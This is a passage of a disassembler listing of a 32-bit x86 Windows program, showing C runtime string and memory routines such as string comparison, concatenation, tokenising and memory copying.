loc_41BD69:				; CODE XREF: sub_41BBBD+1A1j
		test	ecx, ecx
		jnz	short loc_41BD99
		cmp	[ebp+var_8], eax
		jbe	short loc_41BD99


loc_41BD72:				; CODE XREF: sub_41BBBD+197j
					; sub_41BBBD+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DB958, 22h
		jz	short loc_41BD88
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD88:				; CODE XREF: sub_41BBBD+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41BD99:				; CODE XREF: sub_41BBBD+18Dj
					; sub_41BBBD+19Cj ...
		test	edx, edx
		jz	short loc_41BDA2
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41BDA2:				; CODE XREF: sub_41BBBD+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41BDB0
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41BDB0:				; CODE XREF: sub_41BBBD+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41BDC0
; ---------------------------------------------------------------------------


loc_41BDB5:				; CODE XREF: sub_41BBBD+66j
					; sub_41BBBD+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BDBE
		mov	[eax], edi


loc_41BDBE:				; CODE XREF: sub_41BBBD+1FDj
		xor	eax, eax


loc_41BDC0:				; CODE XREF: sub_41BBBD+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDC5	proc near		; CODE XREF: sub_401ACD+61CFp
					; sub_401ACD+6A10p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BDC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDDC	proc near		; CODE XREF: sub_401ACD+5981p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	near ptr 26801B8h
		nop
		test	eax, eax
		jnz	short loc_41BDF2
		call	near ptr 2680932h
		nop
		jmp	short loc_41BDF4
; ---------------------------------------------------------------------------


loc_41BDF2:				; CODE XREF: sub_41BDDC+Cj
		xor	eax, eax


loc_41BDF4:				; CODE XREF: sub_41BDDC+14j
		test	eax, eax
		jz	short loc_41BE03
		push	eax
		call	sub_4203DF
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BDDC+1Aj
		xor	eax, eax
		retn
sub_41BDDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE06	proc near		; CODE XREF: sub_401ACD+58D3p
					; ___:00411CA2p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420446
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F69F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_4204D3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41BE06	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE40	proc near		; CODE XREF: sub_401ACD+1E82p
					; sub_401ACD+1EA1p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41BE61
		xor	eax, eax
		jmp	short loc_41BE63
; ---------------------------------------------------------------------------


loc_41BE61:				; CODE XREF: sub_41BE40+1Bj
		mov	eax, edi


loc_41BE63:				; CODE XREF: sub_41BE40+1Fj
		cld
		pop	edi
		leave
		retn
sub_41BE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE70	proc near		; CODE XREF: sub_401ACD+870p
					; ___:0041DD1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41BEA1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41BE9F
		jz	short loc_41BEA1
		dec	ecx
		dec	ecx


loc_41BE9F:				; CODE XREF: sub_41BE70+29j
		not	ecx


loc_41BEA1:				; CODE XREF: sub_41BE70+9j
					; sub_41BE70+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41BE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEB0	proc near		; CODE XREF: sub_401ACD+42Fp
					; sub_401ACD+2FFDp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41BF21
sub_41BEB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEC0	proc near		; CODE XREF: sub_401ACD+438p
					; sub_401ACD+75FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41BEDC


loc_41BECD:				; CODE XREF: sub_41BEC0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BF0F
		test	ecx, 3
		jnz	short loc_41BECD


loc_41BEDC:				; CODE XREF: sub_41BEC0+Bj
					; sub_41BEC0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BEDC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BF1E
		test	ah, ah
		jz	short loc_41BF19
		test	eax, 0FF0000h
		jz	short loc_41BF14
		test	eax, 0FF000000h
		jz	short loc_41BF0F
		jmp	short loc_41BEDC
; ---------------------------------------------------------------------------


loc_41BF0F:				; CODE XREF: sub_41BEC0+12j
					; sub_41BEC0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF14:				; CODE XREF: sub_41BEC0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF19:				; CODE XREF: sub_41BEC0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF1E:				; CODE XREF: sub_41BEC0+39j
		lea	edi, [ecx-4]


loc_41BF21:				; CODE XREF: sub_41BEB0+5j
					; sub_41BEC0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41BF46


loc_41BF2D:				; CODE XREF: sub_41BEC0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41BF98
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41BF2D
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------


loc_41BF41:				; CODE XREF: sub_41BEC0+9Ej
					; sub_41BEC0+B8j
		mov	[edi], edx
		add	edi, 4


loc_41BF46:				; CODE XREF: sub_41BEC0+6Bj
					; sub_41BEC0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BF41
		test	dl, dl
		jz	short loc_41BF98
		test	dh, dh
		jz	short loc_41BF8F
		test	edx, 0FF0000h
		jz	short loc_41BF82
		test	edx, 0FF000000h
		jz	short loc_41BF7A
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------


loc_41BF7A:				; CODE XREF: sub_41BEC0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF82:				; CODE XREF: sub_41BEC0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF8F:				; CODE XREF: sub_41BEC0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF98:				; CODE XREF: sub_41BEC0+72j
					; sub_41BEC0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41BEC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BFB0


loc_41BFA0:				; CODE XREF: sub_41BFB0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41BFB0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFB0	proc near		; CODE XREF: sub_401ACD+414p
					; sub_401ACD+4C3p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41BFB6:				; CODE XREF: sub_41B900+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41BFDB


loc_41BFC8:				; CODE XREF: sub_41BFB0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41BFA0
		test	cl, cl
		jz	short loc_41C024
		test	edx, 3
		jnz	short loc_41BFC8


loc_41BFDB:				; CODE XREF: sub_41BFB0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41BFE6:				; CODE XREF: sub_41BFB0+61j
					; sub_41BFB0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C028
		and	eax, 81010100h
		jz	short loc_41BFE6
		and	eax, 1010100h
		jnz	short loc_41C022
		and	esi, 80000000h
		jnz	short loc_41BFE6


loc_41C022:				; CODE XREF: sub_41BFB0+68j
					; sub_41BFB0+81j ...
		pop	esi
		pop	edi


loc_41C024:				; CODE XREF: sub_41BFB0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C028:				; CODE XREF: sub_41BFB0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C065
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C05E
		test	ah, ah
		jz	short loc_41C022
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C057
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C050
		test	ah, ah
		jz	short loc_41C022
		jmp	short loc_41BFE6
; ---------------------------------------------------------------------------


loc_41C050:				; CODE XREF: sub_41BFB0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C057:				; CODE XREF: sub_41BFB0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C05E:				; CODE XREF: sub_41BFB0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C065:				; CODE XREF: sub_41BFB0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41BFB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C0BC


loc_41C080:				; CODE XREF: sub_41C070+3Cj
					; sub_41C070+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+3]
		jnz	short loc_41C0B4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C080
		mov	edi, edi


loc_41C0B0:				; CODE XREF: sub_41C070+18j
					; sub_41C070+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0B4:				; CODE XREF: sub_41C070+14j
					; sub_41C070+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0BC:				; CODE XREF: sub_41C070+Ej
		test	edx, 1
		jz	short loc_41C0D8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		inc	ecx
		or	al, al
		jz	short loc_41C0B0
		test	edx, 2
		jz	short loc_41C080


loc_41C0D8:				; CODE XREF: sub_41C070+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		add	ecx, 2
		jmp	short loc_41C080
sub_41C070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0F4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41C10D:				; CODE XREF: sub_41C0F4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C10D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C135
		mov	edx, dword_4DB9A4


loc_41C135:				; CODE XREF: sub_41C0F4+39j
					; sub_41C0F4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C155
		test	al, al
		jz	short loc_41C155
		inc	edx
		jmp	short loc_41C135
; ---------------------------------------------------------------------------


loc_41C155:				; CODE XREF: sub_41C0F4+58j
					; sub_41C0F4+5Cj
		mov	ebx, edx


loc_41C157:				; CODE XREF: sub_41C0F4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C17B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C177
		inc	edx
		jmp	short loc_41C157
; ---------------------------------------------------------------------------


loc_41C177:				; CODE XREF: sub_41C0F4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41C17B:				; CODE XREF: sub_41C0F4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DB9A4, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C0F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C190	proc near		; CODE XREF: sub_409A2D+1Cp
					; sub_415221+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C1CE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C1DB
; ---------------------------------------------------------------------------


loc_41C1CE:				; CODE XREF: sub_41C190+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41C1DB:				; CODE XREF: sub_41C190+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C190	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1E0	proc near		; CODE XREF: sub_40AFEB+88p
					; sub_40B64B+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C294
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C20A


loc_41C1FB:				; CODE XREF: sub_41C1E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C23B
		test	edi, 3
		jnz	short loc_41C1FB


loc_41C20A:				; CODE XREF: sub_41C1E0+19j
					; sub_41C1E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C20A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C248
		test	ah, ah
		jz	short loc_41C243
		test	eax, 0FF0000h
		jz	short loc_41C23E
		test	eax, 0FF000000h
		jnz	short loc_41C20A


loc_41C23B:				; CODE XREF: sub_41C1E0+20j
		dec	edi
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C23E:				; CODE XREF: sub_41C1E0+52j
		sub	edi, 2
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C243:				; CODE XREF: sub_41C1E0+4Bj
		sub	edi, 3
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C248:				; CODE XREF: sub_41C1E0+47j
		sub	edi, 4


loc_41C24B:				; CODE XREF: sub_41C1E0+5Cj
					; sub_41C1E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC
		jmp	short loc_41C27C
; ---------------------------------------------------------------------------


loc_41C260:				; CODE XREF: sub_41C1E0+75j
					; sub_41C1E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C29A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C290
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC


loc_41C27C:				; CODE XREF: sub_41C1E0+7Ej
					; sub_41C1E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C290


loc_41C283:				; CODE XREF: sub_41C1E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C292
		dec	ecx
		jnz	short loc_41C283


loc_41C290:				; CODE XREF: sub_41C1E0+8Bj
					; sub_41C1E0+A1j
		mov	[edi], cl


loc_41C292:				; CODE XREF: sub_41C1E0+ABj
		pop	ebx
		pop	esi


loc_41C294:				; CODE XREF: sub_41C1E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C29A:				; CODE XREF: sub_41C1E0+85j
					; sub_41C1E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2A4:				; CODE XREF: sub_41C1E0+E4j
					; sub_41C1E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C27C


loc_41C2AC:				; CODE XREF: sub_41C1E0+7Cj
					; sub_41C1E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C2A4
		test	dl, dl
		jz	short loc_41C29A
		test	dh, dh
		jz	short loc_41C2F8
		test	edx, 0FF0000h
		jz	short loc_41C2E8
		test	edx, 0FF000000h
		jnz	short loc_41C2A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2E8:				; CODE XREF: sub_41C1E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2F8:				; CODE XREF: sub_41C1E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C310	proc near		; CODE XREF: sub_40BFA4+15p
					; sub_40BFA4+3Bp ...

var_3A3BFFC0	= byte ptr -3A3BFFC0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C330
		cmp	edi, eax
		jb	loc_41C4A8


loc_41C330:				; CODE XREF: sub_41C310+16j
		test	edi, 3
		jnz	short loc_41C34C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------


loc_41C34C:				; CODE XREF: sub_41C310+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41C364
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C364:				; CODE XREF: sub_41C310+46j
		jmp	dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C36C:				; CODE XREF: sub_41C310+31j
					; sub_41C310+8Ej ...
		jmp	off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C380
; ---------------------------------------------------------------------------
		lodsb
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------


loc_41C380:				; DATA XREF: sub_41C310+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C3EC	dd offset loc_41C44F	; DATA XREF: sub_41C310:loc_41C36Cr
		dd offset loc_41C43C
		dd offset loc_41C434
		dd offset loc_41C42C
		dd offset loc_41C424
		dd offset loc_41C41C
		dd offset loc_41C414
		dd offset loc_41C40C
; ---------------------------------------------------------------------------


loc_41C40C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41C414:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41C41C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41C424:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41C42C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41C434:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41C43C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C44F:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310:off_41C3ECo
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C458	dd offset loc_41C468	; DATA XREF: sub_41C310+35r
					; sub_41C310+92r ...
		dd offset loc_41C470
		dd offset loc_41C47C
		dd offset loc_41C490
; ---------------------------------------------------------------------------


loc_41C468:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C470:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C47C:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C490:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C4A8:				; CODE XREF: sub_41C310+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41C4DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41C4D0:				; CODE XREF: sub_41C310+1B1j
					; sub_41C310+208j ...
		neg	ecx
		jmp	dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C4DC:				; CODE XREF: sub_41C310+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41C4F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C4F4:				; CODE XREF: sub_41C310+1D6j
					; DATA XREF: sub_41C310+1DDr
		jmp	off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	ch, al
		inc	ecx
		add	[eax], ch
